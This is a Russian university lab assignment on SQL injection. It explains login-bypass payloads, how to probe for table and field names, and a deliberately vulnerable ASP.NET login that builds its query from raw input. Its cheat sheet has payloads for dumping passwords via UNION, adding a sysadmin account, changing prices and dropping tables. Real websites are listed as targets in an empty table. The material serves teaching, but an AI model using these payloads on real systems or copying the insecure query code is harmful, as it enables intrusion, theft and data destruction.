Автор работы: Пользователь скрыл имя, 11 Декабря 2012 в 03:15, лабораторная работа
Для начала мы приведём краткую справку, которая может понадобиться для понимания данного материала людям, которые не знакомы с сетевыми технологиями. Те, кто знаком, могут пропустить эту часть, потому что всё дано только в базовых понятиях и даёт только общую картину, без технических деталей.
Виды сетевых пакетов: Вся информация в сети передаётся пакетами, т.е. «порциями». У пакета есть адрес отправителя, получателя, порт отправителя и порт получателя, а так же некоторые другие служебные данные. Пакеты могут быть фрагментированы, т.е. один пакет может быть разбит на несколько фрагментов и отправлен в таком виде. Информация о фрагментации добавляется к служебной, поэтому компьютер-получатель знает, как правильно собрать фрагменты в один пакет.
А если вставить в качестве пароля такую строку: ' or 1=1 ' , то запрос станет таким: : select * from userTable where login = 'vanya' and password = '' or 1=1 '' и не будет содержать синтаксических ошибок. Зато логическое выражение станет тождественно истинным, и в ответ на этот запрос, SQL выдаст всю базу данных пользователей 8-).
Таким образом, используя символ апострофа, мы можем прникнуть в тело SQL запроса и сделать так, что бы проверяемое условие было истинным. Если нас интересует конкретный пользователь vanya, то для получения информации о нем, можно воспользоваться такой строкой пароля: ' or login = 'vanya. При этом запрос станет таким: select * from userTable where login = 'vanya' and password = '' or login = 'vanya' . Как вы понимаете, в результате мы получим информацию именно о vanya.
Описанная уязвимость сервисов, основаных на SQL, не ограничивается несанкционированным получением информации. Поскольку в таких системах используется, как правило, MySQL, то имеется возможность не только модифицировать условное выражение в команде select, но и выйти за пределы этой команды, и выполнить другую команду БД. Поскольку в MySQL допускается несколько команд в одном запросе, разделенных ; , то мы можем выполнить любую из этих команд, введя в поле пароля следующий код: ' ; <командаSQL> где в качестве <командаSQL> можно указать любую допустимую команду. Так например такой код: ' ; drop table 'userTable просто напросто уничтожит таблицу userTable из базы данных.
Несмотря на простоту, практическое
использование ошибок SQL запросов весьма
затруднительно.
В этой главе рассмотрим следующие проблемы,
возникающие при использовании описываемой
уязвимости:
· Определение факта использования SQL в системе.
· Выявление факта наличия уязвимости. Выяснение реакции скрипта на ошибки.
· Определение имен полей в таблице.
· Определение имен
существующих таблиц.
Рассмотренная уязвимость присуща всем
SQL запросам, независимо от скрипта или
программы, откуда они вызываются. Однако
мы будем рассматривать системы, основанные
на PHP. Это связано с тем, что поток ошибок
PHP как правило (по умолчанию) направляется
конечному пользователю. В то время как
Perl или Exe приложения обычно не информируют
пользователя о характере ошибок.
Определение факта использования SQL в
системе.
При исследовании конкретной системы,
нужно в первую очередь выяснить использует
ли она SQL.
Этот факт можно выявить либо косвеными
путями (просмотрев имена используемых
файлов, ссылки на используемые средства
и т.д.), либо непосредственно - заставив
SQL проявить себя. Если мы рабоатем с PHP,
то существует только один способ определить
однозначно использование SQL - это вызвать
ошибку его выполнения. Если при выполнении
запроса происходит ошибка, и а PHP скрипте
явно ошибки не выпонения не обрабатываются,
то сообщение об ошибке PHP выдаст прямо
на страницу пользователя.
Как вызвать ошибку выполнения SQL запроса
зависит от конкретного утройства рассматриваемой
системы. В большинстве случаев ошибку
можно вызвать введя в систему некорректные
данные.
Выявление факта наличия уязвимости.
Выяснение реакции скрипта на ошибки.
Наиболее простой способ выявления наличия
уязвимости, а заодно и факта использования
SQL, является следующий: В любом поле, которое
предположительно участвует в формировании
SQL запроса (например поле Login
или Password),
вводим знак одинарной кавычки. Остальные
поля заполняем любыми корректными данными
(либо оставляем пустыми, если это допускается
системой). Отослав данные формы, смотрим
на реакцию системы. Если в результате
PHP скрипт выдает нам ошибку SQL, то можем
себя поздравить: в системе используется
SQL и скрипт не фильтрует одинарную кавычку.
То есть система содержит уязвимость.
Ошибка SQL запроса будет в таком случае
выглядеть на страничке примерно так:
Форма ввода данных:
Как результат-ошибка SQL запроса:
Если кода ошибки SQL на странице
нет, то это может означать следующее:
1)Система содержит уязвимость, но скрипт
PHP обрабатывает ошибки. В таком случае
систему можно взломать, однако придется
действовать "наощупь", поскольку
мы не будем знать когда синтаксис SQL будет
корректным, а когда нет.
2)Скрипт фильтрует кавычку и потому ошибки
не возникает. В таком случае система не
содержит уязвимости.
3)Система вообще не использует SQL.
В двух последних случаях понятно, что
дальнейшее исследование SQL не имеет смысла.
Определение имен полей в таблице.
Для того, что бы получить информацию из
базы данных с конкретными данными, мы
должны определить значения некоторых
полей в запросе (например задать логин
пользователя). Однако для этого нужно
знать имя соответствующих полей. Напрямую
узнать эти имена возможности нет. Поэтому
тут придется искать эти имена методом
перебора. Эти имена могут совпадать с
именами полей в форме, отсылаемой на сервер,а
могут и не совпадать. Благое дело, что
имена полей как правило стандартны и
вариантов написания их не так много. Так,
например, имя поля для имени пользователя
скорее всего будет login
или user
или nick.
Аналогично для пароля: password
или pwd
или pass.
Для определения существования определенного
поля, предлагается простой метод: Пусть
мы хотим проверить существует ли поле pwd
в таблице. Введем в любом поле формы такую
строку '
pwd='. Если поле pwd
существует в таблице, то SQL корректно
обработает запрос, если же такого поля
нет, то опять возникнет ошибка выполнения
SQL. Таким образом подставляя разные значения
имен полей и анализируя результат обработки
запроса, мы можем выяснить какие поля
существуют в таблице, а какие нет.
Определение имен существующих таблиц.
Аналогично методике нахождения имен
полей в таблицах, можно искать и имена
существующих таблиц в базе данных. Пусть
мы хотим выяснить существует ли в базе
таблица adminList.
Для этого введем в нектором поле формы
такую строку ';select
* from adminList. Если в результате ошибки
SQL не возникает, значит таблица adminList
существует. Для корректности этого теста,
необходимо вводить эту строку в то поле,
которое фигурирует последним в SQL запросе.
Это необходимо для того, что бы не вызывалась
ошибка синтаксиса из-за оставшегося "хвоста"
исходного запроса, который будет присутствовать
после select
* from adminList. Отметим, что если форма
для запроса имеет два поля Login
и Password,
то скорее всего именно поле пароля будет
фигурировать в запросе последним.
Ход работы
I. Видеодемонстрации
Адрес |
Тип уязвимости и взлома |
Варианты защиты |
Устранено и насколько | |
http://demo.4homepages.de |
||||
http://mail.ru |
||||
http://pochta.ru |
||||
http://chestergas.com |
||||
http://hotmail.com |
||||
http://asechka.ru/ |
II. Локальный классический взлом
http://serverdnsname/
И видим следующую страницу на экране:
Суть лабы том чтобы подобрав пароль и логи войти на следующий сайт, при этом используйте любые методы в том числе и ижекцию. Подобрав пароль вы увидите следующюю страницу:
Вопросы для проверки
Исходный код приложения из второй части
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
using System.Web.Security;
using System.Configuration;
namespace SqlInject
{
/// <summary>
/// Summary description for Login.
/// </summary>
public partial class BadLogin : System.Web.UI.Page
{
protected void Page_Load(object sender, System.EventArgs e)
{
}
#region Web Form Designer generated code
override protected void OnInit(EventArgs e)
{
//
// CODEGEN: This call is required by the ASP.NET Web Form Designer.
//
InitializeComponent();
base.OnInit(e);
}
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
}
#endregion
protected void cmdLogin_Click(object sender, System.EventArgs e) {
string strCnx = ConfigurationSettings.
SqlConnection cnx = new SqlConnection(strCnx);
cnx.Open();
string strQry = "SELECT Count(*) FROM Users WHERE UserName='" +
txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
int intRecs;
SqlCommand cmd = new SqlCommand(strQry, cnx);
cmd.CommandType= CommandType.Text;
intRecs = (int) cmd.ExecuteScalar();
if (intRecs>0) {
FormsAuthentication.
}
else {
lblMsg.Text = "Login attempt failed.";
}
cnx.Close();
}
}
}
Помощь у выполнению второй части
**Always True**
' Or 1=1 --
**Update the price of a product (and reset)**
The hack: ' UPDATE Products SET UnitPrice = 0.25 WHERE ProductId = 1--
Reset: ' UPDATE Products SET UnitPrice = 18 WHERE ProductId = 1--
**Add a SysAdmin User Account**
'; exec sp_addlogin 'Hacker', 'password';exec sp_addsrvrolemember 'Hacker', 'sysadmin'; --
**Sequence for breaking into Users Table**
1. ' UNION SELECT id, name, '',0 FROM sysobjects WHERE xtype ='U' --
2. ' UNION SELECT id, name, '',0 FROM syscolumns WHERE id = **id_from_above** --
3. Using steps 1 and 2, I might use SQL like
' UNION SELECT 0, UserName, Password, 0 FROM Users --
**Drop a table (and recreate it)**
The hack: ' DROP TABLE Foo --
Reset: ' CREATE TABLE Foo(Id INT PRIMARY KEY, Name VARCHAR(50)) --
Информация о работе Взлом и анализ уязвимостей на веб-страницах